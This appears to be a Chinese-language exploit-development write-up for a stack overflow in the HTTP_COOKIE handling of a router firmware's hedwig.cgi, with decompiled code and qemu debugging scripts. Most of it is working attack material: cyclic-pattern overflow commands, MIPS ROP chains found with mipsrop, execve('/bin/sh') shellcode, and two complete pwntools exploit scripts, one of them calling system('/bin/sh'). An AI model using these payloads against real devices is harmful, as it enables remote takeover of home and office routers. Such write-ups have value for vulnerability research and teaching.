[toc]
前言
用了mipsrop发现是真的香,以前做mips题全部是ropper到txt里找相关寄存器的指令,构造极其复杂,有了mipsrop发现很多可控的jmp地址。
基本信息
我们看到是在hedwig.cgi中产生的一个cookie溢出的漏洞。我们下载这个固件利用binwalk -e [file]即可获得文件系统,利用命令:
find ./ -name 'hedwig.cgi'
找到其对应的位置,在该文件位置处利用命令:
ls -l hedwig.cgi
查看该文件信息
Ghidra反汇编程序分析
程序通过getenv函数获取数据包中cookie数据:
流程大概是:
1主Web程序监听端口->传送HTTP数据包
2.HTTP中headers等数据通过环境变量的方式传给cgi处理程序
3.cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
4.POST具体数据可以通过类似输入流传入 :echo “uid=aaa”| /htdocs/web/hedwig.cgi
定位到sess_get_uid函数
void sess_get_uid(undefined4 param_1)
{
int iVar1;
char *pcVar2;
char *pcVar3_cookie;
undefined4 uVar3;
int iVar4;
uint uVar5;
code *pcVar6;
/* malloc 0x18 heap */
iVar1 = sobj_new();
pcVar2 = (char *)sobj_new();
pcVar3_cookie = getenv("HTTP_COOKIE");
if (((iVar1 != 0) && (pcVar2 != (char *)0x0)) && (pcVar3_cookie != (char *)0x0)) {
uVar5 = 0;
LAB_00407e28:
iVar4 = (int)*pcVar3_cookie;
if (iVar4 == 0) goto LAB_00407ec4;
if (uVar5 == 1) {
LAB_00407db0:
if (iVar4 == 0x3b) {
uVar5 = 0;
}
else {
uVar5 = 2;
if (iVar4 != 0x3d) {
sobj_add_char(iVar1,iVar4);
uVar5 = 1;
}
}
}
else {
if (uVar5 < 2) {
if (uVar5 == 0) {
if (iVar4 != 0x20) {
sobj_free(iVar1);
sobj_free(pcVar2);
goto LAB_00407db0;
}
goto LAB_00407e24;
}
pcVar3_cookie = pcVar3_cookie + 1;
goto LAB_00407e28;
}
if (uVar5 == 2) {
if (iVar4 == 0x3b) {
uVar5 = 3;
goto LAB_00407e24;
}
sobj_add_char(pcVar2,iVar4);
pcVar3_cookie = pcVar3_cookie + 1;
goto LAB_00407e28;
}
if (uVar5 == 3) {
iVar4 = sobj_strcmp(iVar1,&DAT_0041a5d8);
uVar5 = 0;
if (iVar4 != 0) goto LAB_00407e24;
goto LAB_00407e40;
}
}
LAB_00407e24:
pcVar3_cookie = pcVar3_cookie + 1;
goto LAB_00407e28;
}
LAB_00407ee0:
pcVar6 = getenv;
pcVar3_cookie = "REMOTE_ADDR";
LAB_00407e48:
uVar3 = (*pcVar6)(pcVar3_cookie);
sobj_add_string(param_1,uVar3);
if (iVar1 != 0) {
sobj_del(iVar1);
}
if (pcVar2 != (char *)0x0) {
/* WARNING: Could not recover jumptable at 0x00407ebc. Too many branches */
/* WARNING: Treating indirect jump as call */
sobj_del(pcVar2);
return;
}
return;
LAB_00407ec4:
iVar4 = sobj_strcmp(iVar1,&DAT_0041a5d8);
if (iVar4 == 0) {
LAB_00407e40:
pcVar6 = sobj_get_string;
pcVar3_cookie = pcVar2;
goto LAB_00407e48;
}
goto LAB_00407ee0;
}
没有发现有什么漏洞点。我们再找找调用这个函数的位置,发现在hedwigcgi_main函数中有该函数的调用:
实际上这里还有一个栈溢出漏洞:
由于没有size限制就可以无限格式化一个长字符串导致溢出,正常情况一般都会使用snprintf函数来完成指定一个size。
POST具体数据可以通过类似输入流传入 :echo “uid=aaa”| /htdocs/web/hedwig.cgi
调试
先看看偏移
命令:
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi
貌似是执行一次post请求?
我们看到栈溢出已经成功了,我们看看栈溢出的长度
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaat'"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi
溢出长度为1040字节
在这之前我们需要看看其各段信息,我们发现gdb中vmmap指令不管用,于是通过proc中进程信息来查看:
这里明明是32位程序却打印出了64位内存布局……
先利用参考资料中:libc 的基地址 0x76738000
通过加载的这个libc来找gadgets
调试优化
调试脚本test.sh
调试脚本test.sh,其中需要sudo chroot 到文件系统下,然后利用qemu-mipsel-static用户模式进行调试,-E是对应环境变量的参数。-g 指定调试端口,“2> /dev/null” 代表忽略掉错误提示信息。
#/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")LEN=$(echo -n "$test" | wc -c)PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
在这之前需要利用patternLocOffset.py生成test文件,包含特定格式的2000个字符串。patternLocOffset.py是一个已实现的小工具。
python patternLocOffset.py -c -l 2000 -f test
重新触发两个栈溢出:
第一个栈溢出:
test脚本:
#/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
生成payload文件test:
python patternLocOffset.py -c -l 2000 -f test
第二个栈溢出:
#!/bin/bash
#sudo ./test.sh "uid=1234" `python -c "print 'uid=' + open('content','r').read()"`
INPUT="$1"
COOKIE="$2"
PORT="23957"
LEN=$(echo -n "$INPUT" | wc -c)
cp $(which qemu-mipsel-static) ./qemu
echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
rm -f ./qemu
执行命令
sudo ./test.sh "uid=1234" `python -c "print 'uid=' + open('test','r').read()"`
第二个栈溢出好像触发不了…
exp
通过两个方式来getshell
exp1 shellcode
有一个常规的rop链:执行的整体流程为 sleep(1) -> read_value_from_stack -> jump to stack(shellcode)
这里详细讲讲为什么要执行sleep(1):
MIPS CPUs有两个独立的cache:指令cache和数据cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发flush,将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理,存储在数据缓存中。当payload触发漏洞,劫持程序执行流程的时候,会去执行内存中的shellcode。如果数据缓存没有触发flush的话,shellcode依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush。
简单的来说就是可能shellcode并没有写进去,导致执行未知数据的问题
我们在IDA 7.0下使用mipsrop:
mipsrop.find(“li $a0,1”)
mipsrop.tail():该指令作用是打印出所有函数尾部调用的gadget,这些gadget对函数调用很有效。因为非叶子函数尾部一般是将栈中值返回给寄存器然后再跳转。
0x57e50处将跳转到寄存器t9中的值,而t9寄存器时通过s1寄存器来传值的。
此时payload:
base_addr = 0x76738000
rop1 = 0x3e524
# .text:0003E524 move $t9, $s2
#.text:0003E528 lw $ra, 0x28+var_4($sp)
#.text:0003E52C lw $s2, 0x28+var_8($sp)
#.text:0003E530 lw $s1, 0x28+var_C($sp)
#.text:0003E534 lw $s0, 0x28+var_10($sp)
#.text:0003E538 jr
payload = "uid="+"a"*973
payload+= "a"*4 + p32(base_addr + rop1) # s0 s1
payload+= "a"*28 # s2~s7 fp
rop2 = 0x57e50
#.text:00057E50 li $a0, 1
#.text:00057E54 move $t9, $s1
#.text:00057E58 jalr
payload+= p32(base_addr+rop2)
填充ra寄存器:
0003E528 lw $ra, 0x28+var_4( $sp)
sp 和 ra 寄存器的距离为 0x24,所以这里的填充为 0x24,后面的四个字节就是 ra 寄存器的值
那么这样的话s2填充为sleep函数地址,ra则为下一个gadget地址,这样可以执行完sleep(1)函数后执行gadgets。sleep函数通过在IDA里面查看得知偏移是0x56bd0
payload更新:
base_addr = 0x76738000
rop1 = 0x3e524
# .text:0003E524 move $t9, $s2
#.text:0003E528 lw $ra, 0x28+var_4($sp)
#.text:0003E52C lw $s2, 0x28+var_8($sp)
#.text:0003E530 lw $s1, 0x28+var_C($sp)
#.text:0003E534 lw $s0, 0x28+var_10($sp)
#.text:0003E538 jr
payload = "uid="+"a"*973
payload+= "a"*4 + p32(base_addr + rop1) # s0 s1
payload+= p32(base_addr+sleep_addr) # s2
payload+= "a"*24 # s3~s7 fp
rop2 = 0x57e50
#.text:00057E50 li $a0, 1
#.text:00057E54 move $t9, $s1
#.text:00057E58 jalr
payload+= p32(base_addr+rop2)
利用mipsrop.stackfinder()找gadgets,也就是赋值完stack后又jmp到一个gadgets。(因为s1可控)
最后再寻找mipsrop.find(“mov $t9,$a1”)找到可以跳到a1寄存器的指令
调用shellcode的payload
rop3 = 0xb814
# .text:0000B814 addiu $a1, $sp, 0x168+var_150
# .text:0000B818 move $t9, $s1
# .text:0000B81C jalr $t9 ; st
rop4 = 0x37e6c
# .text:00037E6C move $t9, $a1
# .text:00037E70 addiu $a0, 0x4C # 'L'
# .text:00037E74 jr $t
payload+= "b"*0x1c
payload+= p32(rop4+base_addr) # s1
payload+= "b"*4 # s2
payload+= p32(base_addr+rop3) # ra
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload+= "d"*0x18
payload+= shellcode
with open("payload",'wb') as f:
f.write(payload)
f.close()
完整exp
#!/usr/bin/python
from pwn import *
context.endian="little"
context.arch="mips"
base_addr = 0x76738000
sleep_addr = 0x56bd0
system_addr = 0x53200
rop1 = 0x3e524
# .text:0003E524 move $t9, $s2
#.text:0003E528 lw $ra, 0x28+var_4($sp)
#.text:0003E52C lw $s2, 0x28+var_8($sp)
#.text:0003E530 lw $s1, 0x28+var_C($sp)
#.text:0003E534 lw $s0, 0x28+var_10($sp)
#.text:0003E538 jr
payload = "a"*(0x3cb+12+0x30-0x18)
payload+= "a"*4 + p32(base_addr + rop1) # s0 s1
payload+= p32(base_addr+sleep_addr) # s2
payload+= "a"*24 # s3~s7 fp
rop2 = 0x57e50
#.text:00057E50 li $a0, 1
#.text:00057E54 move $t9, $s1
#.text:00057E58 jalr
payload+= p32(base_addr+rop2)
rop3 = 0xb814
# .text:0000B814 addiu $a1, $sp, 0x168+var_150
# .text:0000B818 move $t9, $s1
# .text:0000B81C jalr $t9 ; st
rop4 = 0x37e6c
# .text:00037E6C move $t9, $a1
# .text:00037E70 addiu $a0, 0x4C # 'L'
# .text:00037E74 jr $t
payload+= "b"*0x1c
payload+= p32(rop4+base_addr) # s1
payload+= "b"*4 # s2
payload+= p32(base_addr+rop3) # ra
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload+= "d"*0x18
payload+= shellcode
with open("payload",'wb') as f:
f.write(payload)
f.close()
但是由于一些原因在qemu用户模式不能成功getshell:
我们在后面也会尝试解决这个问题
exp2 system(“/bin/sh”)
system函数的真实地址0x76738000+0x53200=0x7678b200
因为system函数的最低位为\x00,在构造HTTP_COOKIE的时候\x00会被sprintf截断,其实还不用到sprintf函数,之前sess_get_uid函数就获取\x00字符之前的字符串,导致缓冲区溢出失败。所以构造shellcode时需要存入的事0x7678b200-1=0x7678b1ff,之后通过寻址gadget将其加1即可。
找用得上的gadgets
mipsrop.find(“addiu .*,1”)
完整exp
#!/usr/bin/python
from pwn import *
context.endian="little"
context.arch="mips"
base_addr = 0x76738000
sleep_addr = 0x56bd0
system_addr = 0x53200
binsh_addr = 0x5a448
rop1 = 0x3e524
# .text:0003E524 move $t9, $s2
#.text:0003E528 lw $ra, 0x28+var_4($sp)
#.text:0003E52C lw $s2, 0x28+var_8($sp)
#.text:0003E530 lw $s1, 0x28+var_C($sp)
#.text:0003E534 lw $s0, 0x28+var_10($sp)
#.text:0003E538 jr
rop2 = 0x57e50
#.text:00057E50 li $a0, 1
#.text:00057E54 move $t9, $s1
#.text:00057E58 jalr
rop3 = 0xb814
# .text:0000B814 addiu $a1, $sp, 0x168+var_150
# .text:0000B818 move $t9, $s1
# .text:0000B81C jalr $t9 ; st
rop4 = 0x37e6c
# .text:00037E6C move $t9, $a1
# .text:00037E70 addiu $a0, 0x4C # 'L'
# .text:00037E74 jr $t
rop5 = 0x4c138
# .text:0004C138 move $a0, $s2
# .text:0004C13C move $t9, $s0
# .text:0004C140 jalr $t9 ; s
rop6 = 0x45988
# .text:00045988 addiu $s0, 1
# .text:0004598C move $a0, $s0
# .text:00045990 move $t9, $s1
# .text:00045994 jalr $t9
rop7 = 0x00159D8
# text:000159CC addiu $s5, $sp, 0x170+var_160
# .text:000159D0 move $a1, $s3
# .text:000159D4 move $a2, $s1
# .text:000159D8 move $t9, $s0
# .text:000159DC jalr $t9 ; mempcpy
payload = "a"*(0x3cb+16+0x30-0x28+0xc)
payload+= p32(system_addr+base_addr-1) + p32(rop5+base_addr) # s0 s1
payload+= p32(base_addr+binsh_addr) # s2
payload+= "a"*24 # s3~s7 fp
payload+= p32(base_addr+rop6)
with open("payload1",'wb') as f:
f.write(payload)
f.close()